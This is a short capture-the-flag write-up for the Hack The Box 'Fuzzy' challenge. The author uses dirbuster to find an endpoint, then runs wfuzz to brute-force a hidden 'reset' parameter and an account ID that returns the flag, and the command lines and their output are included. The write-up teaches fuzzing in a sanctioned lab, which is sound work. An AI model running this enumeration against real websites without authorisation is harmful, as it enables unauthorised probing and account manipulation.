Fuzzy is a fun and short challenge on a docker container. It is especially good for teaching beginners the basics of using a fuzzer to discover new endpoints on a webserver.
Spawning the container and probing around a bit, we don’t have too much success. Using dirbuster and a standard wordlist, we find the endpoint /api/action.php. With wfuzz we can now see whether passing any specific parameter to the endpoint significantly changes our response payload:
$ wfuzz -w seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 24 http://docker.hackthebox.eu:32514/api/action.php\?FUZZ
********************************************************
* Wfuzz 2.4.2 - The Web Fuzzer *
********************************************************
Target: http://docker.hackthebox.eu:32514/api/action.php?FUZZ
Total requests: 2588
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000106: 200 0 L 5 W 27 Ch "reset"
Total time: 15.79833
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 163.8147
Passing the reset parameter yields the error message: Error: Account ID not found. We can use wfuzz again to fuzz potential values for the parameter.
$ wfuzz -z range,0-1000 --hh 27 http://docker.hackthebox.eu:32514/api/action.php\?reset\=FUZZ
********************************************************
* Wfuzz 2.4.2 - The Web Fuzzer *
********************************************************
Target: http://docker.hackthebox.eu:32514/api/action.php?reset=FUZZ
Total requests: 1001
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000021: 200 0 L 10 W 74 Ch "20"
Total time: 3.746470
Processed Requests: 1001
Filtered Requests: 1000
Requests/sec.: 267.1847
Finally, calling the assembled endpoint with the account ID 20, we get a response containing the flag:
http://docker.hackthebox.eu:32514/api/action.php?reset=20
Short and sweet. 🙂
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